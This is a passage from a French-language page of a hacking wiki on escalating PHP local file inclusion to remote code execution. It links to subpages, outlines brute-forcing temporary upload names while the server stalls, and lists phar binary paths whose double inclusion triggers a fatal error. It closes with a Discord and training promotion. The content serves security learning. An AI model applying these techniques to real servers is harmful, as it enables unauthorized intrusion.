{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}
Via eternal waiting + bruteforce
Si vous pouvez abuser de la LFI pour télécharger des fichiers temporaires et faire bloquer l'exécution PHP du serveur, vous pourriez alors brute forcer les noms de fichiers pendant des heures pour trouver le fichier temporaire :
{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}
To Fatal Error
Si vous incluez l'un des fichiers /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Vous devez inclure le même deux fois pour provoquer cette erreur).
Je ne sais pas en quoi cela est utile mais cela pourrait l'être.
Même si vous provoquez une erreur fatale PHP, les fichiers temporaires PHP téléchargés sont supprimés.
References
- PayloadsAllTheThings\
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
Hacking Insights
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
Real-Time Hack News
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des insights en temps réel
Latest Announcements
Restez informé des nouveaux bug bounties lancés et des mises à jour cruciales des plateformes
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers aujourd'hui !
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.